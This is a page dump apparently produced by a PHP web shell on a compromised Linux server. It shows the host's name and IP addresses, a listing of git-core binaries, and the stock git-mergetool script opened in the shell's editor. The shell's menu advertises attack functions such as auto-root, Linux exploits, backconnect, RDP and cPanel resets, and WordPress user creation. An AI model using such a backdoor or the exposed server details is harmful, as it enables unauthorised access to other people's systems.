Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.147.73.117
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
git-core /
[ HOME SHELL ]
Name
Size
Permission
Action
mergetools
[ DIR ]
drwxr-xr-x
git
1.46
MB
-rwxr-xr-x
git-add
1.46
MB
-rwxr-xr-x
git-add--interactive
35.8
KB
-rwxr-xr-x
git-am
21.84
KB
-rwxr-xr-x
git-annotate
1.46
MB
-rwxr-xr-x
git-apply
1.46
MB
-rwxr-xr-x
git-archive
1.46
MB
-rwxr-xr-x
git-bisect
11.71
KB
-rwxr-xr-x
git-bisect--helper
1.46
MB
-rwxr-xr-x
git-blame
1.46
MB
-rwxr-xr-x
git-branch
1.46
MB
-rwxr-xr-x
git-bundle
1.46
MB
-rwxr-xr-x
git-cat-file
1.46
MB
-rwxr-xr-x
git-check-attr
1.46
MB
-rwxr-xr-x
git-check-ignore
1.46
MB
-rwxr-xr-x
git-check-ref-format
1.46
MB
-rwxr-xr-x
git-checkout
1.46
MB
-rwxr-xr-x
git-checkout-index
1.46
MB
-rwxr-xr-x
git-cherry
1.46
MB
-rwxr-xr-x
git-cherry-pick
1.46
MB
-rwxr-xr-x
git-clean
1.46
MB
-rwxr-xr-x
git-clone
1.46
MB
-rwxr-xr-x
git-column
1.46
MB
-rwxr-xr-x
git-commit
1.46
MB
-rwxr-xr-x
git-commit-tree
1.46
MB
-rwxr-xr-x
git-config
1.46
MB
-rwxr-xr-x
git-count-objects
1.46
MB
-rwxr-xr-x
git-credential
1.46
MB
-rwxr-xr-x
git-credential-cache
717.83
KB
-rwxr-xr-x
git-credential-cache--daemon
730.32
KB
-rwxr-xr-x
git-credential-store
726.01
KB
-rwxr-xr-x
git-describe
1.46
MB
-rwxr-xr-x
git-diff
1.46
MB
-rwxr-xr-x
git-diff-files
1.46
MB
-rwxr-xr-x
git-diff-index
1.46
MB
-rwxr-xr-x
git-diff-tree
1.46
MB
-rwxr-xr-x
git-difftool
13.41
KB
-rwxr-xr-x
git-difftool--helper
1.86
KB
-rwxr-xr-x
git-fast-export
1.46
MB
-rwxr-xr-x
git-fast-import
754.91
KB
-rwxr-xr-x
git-fetch
1.46
MB
-rwxr-xr-x
git-fetch-pack
1.46
MB
-rwxr-xr-x
git-filter-branch
11.33
KB
-rwxr-xr-x
git-fmt-merge-msg
1.46
MB
-rwxr-xr-x
git-for-each-ref
1.46
MB
-rwxr-xr-x
git-format-patch
1.46
MB
-rwxr-xr-x
git-fsck
1.46
MB
-rwxr-xr-x
git-fsck-objects
1.46
MB
-rwxr-xr-x
git-gc
1.46
MB
-rwxr-xr-x
git-get-tar-commit-id
1.46
MB
-rwxr-xr-x
git-grep
1.46
MB
-rwxr-xr-x
git-hash-object
1.46
MB
-rwxr-xr-x
git-help
1.46
MB
-rwxr-xr-x
git-http-backend
730.63
KB
-rwxr-xr-x
git-http-fetch
816.54
KB
-rwxr-xr-x
git-http-push
832.82
KB
-rwxr-xr-x
git-imap-send
738.79
KB
-rwxr-xr-x
git-index-pack
1.46
MB
-rwxr-xr-x
git-init
1.46
MB
-rwxr-xr-x
git-init-db
1.46
MB
-rwxr-xr-x
git-log
1.46
MB
-rwxr-xr-x
git-lost-found
554
B
-rwxr-xr-x
git-ls-files
1.46
MB
-rwxr-xr-x
git-ls-remote
1.46
MB
-rwxr-xr-x
git-ls-tree
1.46
MB
-rwxr-xr-x
git-mailinfo
1.46
MB
-rwxr-xr-x
git-mailsplit
1.46
MB
-rwxr-xr-x
git-merge
1.46
MB
-rwxr-xr-x
git-merge-base
1.46
MB
-rwxr-xr-x
git-merge-file
1.46
MB
-rwxr-xr-x
git-merge-index
1.46
MB
-rwxr-xr-x
git-merge-octopus
2.16
KB
-rwxr-xr-x
git-merge-one-file
3.4
KB
-rwxr-xr-x
git-merge-ours
1.46
MB
-rwxr-xr-x
git-merge-recursive
1.46
MB
-rwxr-xr-x
git-merge-resolve
944
B
-rwxr-xr-x
git-merge-subtree
1.46
MB
-rwxr-xr-x
git-merge-tree
1.46
MB
-rwxr-xr-x
git-mergetool
8.18
KB
-rwxr-xr-x
git-mergetool--lib
7.6
KB
-rw-r--r--
git-mktag
1.46
MB
-rwxr-xr-x
git-mktree
1.46
MB
-rwxr-xr-x
git-mv
1.46
MB
-rwxr-xr-x
git-name-rev
1.46
MB
-rwxr-xr-x
git-notes
1.46
MB
-rwxr-xr-x
git-pack-objects
1.46
MB
-rwxr-xr-x
git-pack-redundant
1.46
MB
-rwxr-xr-x
git-pack-refs
1.46
MB
-rwxr-xr-x
git-parse-remote
2.13
KB
-rw-r--r--
git-patch-id
1.46
MB
-rwxr-xr-x
git-peek-remote
1.46
MB
-rwxr-xr-x
git-prune
1.46
MB
-rwxr-xr-x
git-prune-packed
1.46
MB
-rwxr-xr-x
git-pull
7.68
KB
-rwxr-xr-x
git-push
1.46
MB
-rwxr-xr-x
git-quiltimport
3.27
KB
-rwxr-xr-x
git-read-tree
1.46
MB
-rwxr-xr-x
git-rebase
13.26
KB
-rwxr-xr-x
git-rebase--am
1.43
KB
-rw-r--r--
git-rebase--interactive
25.09
KB
-rw-r--r--
git-rebase--merge
3.01
KB
-rw-r--r--
git-receive-pack
1.46
MB
-rwxr-xr-x
git-reflog
1.46
MB
-rwxr-xr-x
git-relink
4.09
KB
-rwxr-xr-x
git-remote
1.46
MB
-rwxr-xr-x
git-remote-ext
1.46
MB
-rwxr-xr-x
git-remote-fd
1.46
MB
-rwxr-xr-x
git-remote-ftp
824.59
KB
-rwxr-xr-x
git-remote-ftps
824.59
KB
-rwxr-xr-x
git-remote-http
824.59
KB
-rwxr-xr-x
git-remote-https
824.59
KB
-rwxr-xr-x
git-remote-testpy
7.26
KB
-rwxr-xr-x
git-repack
4.87
KB
-rwxr-xr-x
git-replace
1.46
MB
-rwxr-xr-x
git-repo-config
1.46
MB
-rwxr-xr-x
git-request-pull
3.57
KB
-rwxr-xr-x
git-rerere
1.46
MB
-rwxr-xr-x
git-reset
1.46
MB
-rwxr-xr-x
git-rev-list
1.46
MB
-rwxr-xr-x
git-rev-parse
1.46
MB
-rwxr-xr-x
git-revert
1.46
MB
-rwxr-xr-x
git-rm
1.46
MB
-rwxr-xr-x
git-send-pack
1.46
MB
-rwxr-xr-x
git-sh-i18n
1.92
KB
-rw-r--r--
git-sh-i18n--envsubst
24.16
KB
-rwxr-xr-x
git-sh-setup
6.32
KB
-rw-r--r--
git-shell
722.04
KB
-rwxr-xr-x
git-shortlog
1.46
MB
-rwxr-xr-x
git-show
1.46
MB
-rwxr-xr-x
git-show-branch
1.46
MB
-rwxr-xr-x
git-show-index
717.8
KB
-rwxr-xr-x
git-show-ref
1.46
MB
-rwxr-xr-x
git-stage
1.46
MB
-rwxr-xr-x
git-stash
12.61
KB
-rwxr-xr-x
git-status
1.46
MB
-rwxr-xr-x
git-stripspace
1.46
MB
-rwxr-xr-x
git-submodule
30.31
KB
-rwxr-xr-x
git-submodule--helper
1.46
MB
-rwxr-xr-x
git-subtree
15.08
KB
-rwxr-xr-x
git-symbolic-ref
1.46
MB
-rwxr-xr-x
git-tag
1.46
MB
-rwxr-xr-x
git-tar-tree
1.46
MB
-rwxr-xr-x
git-unpack-file
1.46
MB
-rwxr-xr-x
git-unpack-objects
1.46
MB
-rwxr-xr-x
git-update-index
1.46
MB
-rwxr-xr-x
git-update-ref
1.46
MB
-rwxr-xr-x
git-update-server-info
1.46
MB
-rwxr-xr-x
git-upload-archive
1.46
MB
-rwxr-xr-x
git-upload-pack
795.48
KB
-rwxr-xr-x
git-var
1.46
MB
-rwxr-xr-x
git-verify-pack
1.46
MB
-rwxr-xr-x
git-verify-tag
1.46
MB
-rwxr-xr-x
git-web--browse
4.12
KB
-rwxr-xr-x
git-whatchanged
1.46
MB
-rwxr-xr-x
git-write-tree
1.46
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git-mergetool
#!/bin/sh # # This program resolves merge conflicts in git # # Copyright (c) 2006 Theodore Y. Ts'o # # This file is licensed under the GPL v2, or a later version # at the discretion of Junio C Hamano. # USAGE='[--tool=tool] [--tool-help] [-y|--no-prompt|--prompt] [file to merge] ...' SUBDIRECTORY_OK=Yes OPTIONS_SPEC= TOOL_MODE=merge . git-sh-setup . git-mergetool--lib require_work_tree # Returns true if the mode reflects a symlink is_symlink () { test "$1" = 120000 } is_submodule () { test "$1" = 160000 } local_present () { test -n "$local_mode" } remote_present () { test -n "$remote_mode" } base_present () { test -n "$base_mode" } cleanup_temp_files () { if test "$1" = --save-backup then rm -rf -- "$MERGED.orig" test -e "$BACKUP" && mv -- "$BACKUP" "$MERGED.orig" rm -f -- "$LOCAL" "$REMOTE" "$BASE" else rm -f -- "$LOCAL" "$REMOTE" "$BASE" "$BACKUP" fi } describe_file () { mode="$1" branch="$2" file="$3" printf " {%s}: " "$branch" if test -z "$mode" then echo "deleted" elif is_symlink "$mode" then echo "a symbolic link -> '$(cat "$file")'" elif is_submodule "$mode" then echo "submodule commit $file" elif base_present then echo "modified file" else echo "created file" fi } resolve_symlink_merge () { while true do printf "Use (l)ocal or (r)emote, or (a)bort? " read ans || return 1 case "$ans" in [lL]*) git checkout-index -f --stage=2 -- "$MERGED" git add -- "$MERGED" cleanup_temp_files --save-backup return 0 ;; [rR]*) git checkout-index -f --stage=3 -- "$MERGED" git add -- "$MERGED" cleanup_temp_files --save-backup return 0 ;; [aA]*) return 1 ;; esac done } resolve_deleted_merge () { while true do if base_present then printf "Use (m)odified or (d)eleted file, or (a)bort? " else printf "Use (c)reated or (d)eleted file, or (a)bort? " fi read ans || return 1 case "$ans" in [mMcC]*) git add -- "$MERGED" cleanup_temp_files --save-backup return 0 ;; [dD]*) git rm -- "$MERGED" > /dev/null cleanup_temp_files return 0 ;; [aA]*) return 1 ;; esac done } resolve_submodule_merge () { while true do printf "Use (l)ocal or (r)emote, or (a)bort? " read ans || return 1 case "$ans" in [lL]*) if ! local_present then if test -n "$(git ls-tree HEAD -- "$MERGED")" then # Local isn't present, but it's a subdirectory git ls-tree --full-name -r HEAD -- "$MERGED" | git update-index --index-info || exit $? else test -e "$MERGED" && mv -- "$MERGED" "$BACKUP" git update-index --force-remove "$MERGED" cleanup_temp_files --save-backup fi elif is_submodule "$local_mode" then stage_submodule "$MERGED" "$local_sha1" else git checkout-index -f --stage=2 -- "$MERGED" git add -- "$MERGED" fi return 0 ;; [rR]*) if ! remote_present then if test -n "$(git ls-tree MERGE_HEAD -- "$MERGED")" then # Remote isn't present, but it's a subdirectory git ls-tree --full-name -r MERGE_HEAD -- "$MERGED" | git update-index --index-info || exit $? else test -e "$MERGED" && mv -- "$MERGED" "$BACKUP" git update-index --force-remove "$MERGED" fi elif is_submodule "$remote_mode" then ! is_submodule "$local_mode" && test -e "$MERGED" && mv -- "$MERGED" "$BACKUP" stage_submodule "$MERGED" "$remote_sha1" else test -e "$MERGED" && mv -- "$MERGED" "$BACKUP" git checkout-index -f --stage=3 -- "$MERGED" git add -- "$MERGED" fi cleanup_temp_files --save-backup return 0 ;; [aA]*) return 1 ;; esac done } stage_submodule () { path="$1" submodule_sha1="$2" mkdir -p "$path" || die "fatal: unable to create directory for module at $path" # Find $path relative to work tree work_tree_root=$(cd_to_toplevel && pwd) work_rel_path=$(cd "$path" && GIT_WORK_TREE="${work_tree_root}" git rev-parse --show-prefix ) test -n "$work_rel_path" || die "fatal: unable to get path of module $path relative to work tree" git update-index --add --replace --cacheinfo 160000 "$submodule_sha1" "${work_rel_path%/}" || die } checkout_staged_file () { tmpfile=$(expr \ "$(git checkout-index --temp --stage="$1" "$2" 2>/dev/null)" \ : '\([^ ]*\) ') if test $? -eq 0 -a -n "$tmpfile" then mv -- "$(git rev-parse --show-cdup)$tmpfile" "$3" else >"$3" fi } merge_file () { MERGED="$1" f=$(git ls-files -u -- "$MERGED") if test -z "$f" then if test ! -f "$MERGED" then echo "$MERGED: file not found" else echo "$MERGED: file does not need merging" fi return 1 fi ext="$$$(expr "$MERGED" : '.*\(\.[^/]*\)$')" BACKUP="./$MERGED.BACKUP.$ext" LOCAL="./$MERGED.LOCAL.$ext" REMOTE="./$MERGED.REMOTE.$ext" BASE="./$MERGED.BASE.$ext" base_mode=$(git ls-files -u -- "$MERGED" | awk '{if ($3==1) print $1;}') local_mode=$(git ls-files -u -- "$MERGED" | awk '{if ($3==2) print $1;}') remote_mode=$(git ls-files -u -- "$MERGED" | awk '{if ($3==3) print $1;}') if is_submodule "$local_mode" || is_submodule "$remote_mode" then echo "Submodule merge conflict for '$MERGED':" local_sha1=$(git ls-files -u -- "$MERGED" | awk '{if ($3==2) print $2;}') remote_sha1=$(git ls-files -u -- "$MERGED" | awk '{if ($3==3) print $2;}') describe_file "$local_mode" "local" "$local_sha1" describe_file "$remote_mode" "remote" "$remote_sha1" resolve_submodule_merge return fi mv -- "$MERGED" "$BACKUP" cp -- "$BACKUP" "$MERGED" checkout_staged_file 1 "$MERGED" "$BASE" checkout_staged_file 2 "$MERGED" "$LOCAL" checkout_staged_file 3 "$MERGED" "$REMOTE" if test -z "$local_mode" -o -z "$remote_mode" then echo "Deleted merge conflict for '$MERGED':" describe_file "$local_mode" "local" "$LOCAL" describe_file "$remote_mode" "remote" "$REMOTE" resolve_deleted_merge return fi if is_symlink "$local_mode" || is_symlink "$remote_mode" then echo "Symbolic link merge conflict for '$MERGED':" describe_file "$local_mode" "local" "$LOCAL" describe_file "$remote_mode" "remote" "$REMOTE" resolve_symlink_merge return fi echo "Normal merge conflict for '$MERGED':" describe_file "$local_mode" "local" "$LOCAL" describe_file "$remote_mode" "remote" "$REMOTE" if "$prompt" = true then printf "Hit return to start merge resolution tool (%s): " "$merge_tool" read ans || return 1 fi if base_present then present=true else present=false fi if ! run_merge_tool "$merge_tool" "$present" then echo "merge of $MERGED failed" 1>&2 mv -- "$BACKUP" "$MERGED" if test "$merge_keep_temporaries" = "false" then cleanup_temp_files fi return 1 fi if test "$merge_keep_backup" = "true" then mv -- "$BACKUP" "$MERGED.orig" else rm -- "$BACKUP" fi git add -- "$MERGED" cleanup_temp_files return 0 } prompt=$(git config --bool mergetool.prompt || echo true) while test $# != 0 do case "$1" in --tool-help) show_tool_help ;; -t|--tool*) case "$#,$1" in *,*=*) merge_tool=$(expr "z$1" : 'z-[^=]*=\(.*\)') ;; 1,*) usage ;; *) merge_tool="$2" shift ;; esac ;; -y|--no-prompt) prompt=false ;; --prompt) prompt=true ;; --) shift break ;; -*) usage ;; *) break ;; esac shift done prompt_after_failed_merge () { while true do printf "Continue merging other unresolved paths (y/n) ? " read ans || return 1 case "$ans" in [yY]*) return 0 ;; [nN]*) return 1 ;; esac done } if test -z "$merge_tool" then merge_tool=$(get_merge_tool "$merge_tool") || exit fi merge_keep_backup="$(git config --bool mergetool.keepBackup || echo true)" merge_keep_temporaries="$(git config --bool mergetool.keepTemporaries || echo false)" last_status=0 rollup_status=0 files= if test $# -eq 0 then cd_to_toplevel if test -e "$GIT_DIR/MERGE_RR" then files=$(git rerere remaining) else files=$(git ls-files -u | sed -e 's/^[^ ]* //' | sort -u) fi else files=$(git ls-files -u -- "$@" | sed -e 's/^[^ ]* //' | sort -u) fi if test -z "$files" then echo "No files need merging" exit 0 fi printf "Merging:\n" printf "%s\n" "$files" IFS=' ' for i in $files do if test $last_status -ne 0 then prompt_after_failed_merge || exit 1 fi printf "\n" merge_file "$i" last_status=$? if test $last_status -ne 0 then rollup_status=1 fi done exit $rollup_status
Close